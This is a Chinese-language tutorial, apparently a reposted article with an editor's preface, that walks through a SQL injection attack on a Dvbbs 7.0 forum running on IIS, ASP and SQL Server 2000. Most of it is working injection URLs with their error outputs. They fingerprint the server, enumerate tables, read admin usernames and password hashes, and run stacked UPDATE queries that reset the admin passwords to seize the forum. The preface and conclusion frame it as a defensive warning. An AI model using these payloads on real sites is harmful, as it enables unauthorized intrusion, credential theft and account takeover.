编辑前言:这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞。说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据库结构,和程序运作方法。
|
|
|||
正是由于这些条件的假设,所以大家也不用太紧张,这里提供的是很多理想状态下的入侵行为,在编程中减少安全漏洞是我们每个程序员要注意的。而站长在组合使用多个程序的时候,也要注意安全和程序的完整性。
在我所了解的多个动网7.0+sp2 的版本也有2-3次被黑现象,所以大家还要及时注意升级,详细进行权限设置。并不是说动网不好,而是说他程序的开放性,用的人很多,找出来的BUG会很多,软件学里说了,用的越多,BUG会越多。相对来说,我喜欢自己定制化开发的程序,相对来说会安全一些。
下面是六中男孩的正文
现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
一、 首先确定目标。假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的SP4补丁。
取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--
返回:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser
取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--
返回:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为: 01city
接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=(SELECT%20IS_MEMBER('db_owner'))--
正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。
二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
首先得到第一个表:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'address' 转换为数据类型为 int 的列时发生语法错误。
好的,第一个表名出来了,为: address
继续,
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
返回: admin 第二个表名也出来了。依次类推, 提交:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address','admin',...))--
可以得到当前数据库中所有表名。
不一会儿,结果出来了, 表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出这是动网的表。当然还有其它的一些表,我们不去管它。
接下来就好办了,也不要去猜字段了,我们打开自己的动网数据库看一下就知道了。 既然有了表名,字段名,那么,动网不就在你掌握之下了吗? 但千万不要 drop table啊。 破坏就不好了。我们的目的是演练技术,提高水平。 好,那么,我们去得到动网的后台。
三、进入后台,取得动网论坛管理员权限。
先看看后台有多少个管理员:
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常显示信息,看来管理员只有一个,读出管理员名字,
http://www.loveyou.com/type.asp?id=(select username from admin)--
出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:
http://www.loveyou.com/type.asp?id=(select password from admin)--
很顺利,密码为: e7cc01be0e33a273
是MD5加密过的。难道要去破解它吗? 别急,根本不需要去破MD5密码。
由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin
好,得到他的密码:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回,admin的前台密码为:e7cc01be0e33a273
同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';--
正常返回信息,应该成功执行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下:
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下:
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,后台管理员密码已经变成:49ba59abbe56e057
到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。
四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果。
·利用标准SQL语句实现查询记录分页 (0次浏览)
·精细分析SQL server服务器的内存配置 (0次浏览)
·轻松维护SQL Server 2005数据库 (0次浏览)
·数据库性能之数据库集群概念 (0次浏览)
·SQL Server根据访问历史日志自动分析并提供优 (0次浏览)
·数据库的安全性和异构数据库间的互操作 (0次浏览)
·如何优化数据库的数据查询 (0次浏览)
·如何应用SQL Server DBCC避免堵塞 (0次浏览)
·SQL Server 查询分析器快捷键集合 (0次浏览)
·教你如何在SQL Server计算列和平均值 (38次浏览)
·精细分析SQL server服务器的内存配置 (0次浏览)
·轻松维护SQL Server 2005数据库 (0次浏览)
·数据库性能之数据库集群概念 (0次浏览)
·SQL Server根据访问历史日志自动分析并提供优 (0次浏览)
·数据库的安全性和异构数据库间的互操作 (0次浏览)
·如何优化数据库的数据查询 (0次浏览)
·如何应用SQL Server DBCC避免堵塞 (0次浏览)
·SQL Server 查询分析器快捷键集合 (0次浏览)
·SQL Server如何访问sybase数据库的表 (263次浏览)
·运行SQL Server的计算机间移动数据库 (206次浏览)
·MS-SQL开发常用汇总和t-sql技巧集锦 (174次浏览)
·快速清除SQLServer日志的两种方法 (151次浏览)
·解析SQL Server数据在不同数据库中的应用 (46次浏览)
·教你如何在SQL Server计算列和平均值 (38次浏览)
·SQL Server 2005 - 实作CLR存储过程 (35次浏览)
·如何应用SQL Server DBCC避免堵塞 (0次浏览)
·SQL Server 查询分析器快捷键集合 (0次浏览)
·利用标准SQL语句实现查询记录分页 06-27
·精细分析SQL server服务器的内存配置 06-20
·轻松维护SQL Server 2005数据库 06-15
·数据库性能之数据库集群概念 06-15
·SQL Server根据访问历史日志自动分析并提供优化策 06-15
·数据库的安全性和异构数据库间的互操作 06-15
·如何优化数据库的数据查询 06-15
·如何应用SQL Server DBCC避免堵塞 06-15
·SQL Server 查询分析器快捷键集合 06-14
|
|||
| ·ACDSEE专题教程-下载使用 ·迅雷专题教程-下载使用 ·Windows XP频道 ·Windows Vista频道 ·Windows 2000频道 ·win2003频道 ·Freebsd频道 ·Oracle频道 |
·Linux频道 ·Windows频道 ·邮件服务器专题 ·协议大全 ·数据恢复指南教程 ·FreeBSD使用教程 ·Linux数据库宝典 ·Linux基础知识 |
||
| · 秘密:Vista隐蔽的动态屏保 · 腾讯开发新电子宠物--QQ熊 · 惠普否认2999元PC有价无货 |
· 驱逐Win系统“流氓”文件 · WinXP中获取未使用的IP地址 · 尝试format C:格式化硬盘? |
| · 在DOS下恢复回收站中的文件 · 拯救WinXP崩溃的救命稻草 · Linux系统中超级权限的应用 |
· 搜狗PK谷歌:谁能代言拼... · 昨日重现,一键GHOST轻松.. · 实现Web迅雷在空闲时杀毒 |
| · AVIFile函数制做AVI文件 · VC中链接动态链接库的方法 · 熊猫烧香核心源码(Delphi) |
· DateDiff函数祥解 · JavaScript去除空格的三种 · js效果 图片加载进度实时.. |
| · SQL Server数据库优化方案 · Oracle的初学者入门心得 · JSP连接Mysql数据库 |
· Photoshop为美女做艺术处理 · 用Freehand创建发光字特效 · 设计自己的个性QQ动态表情 |




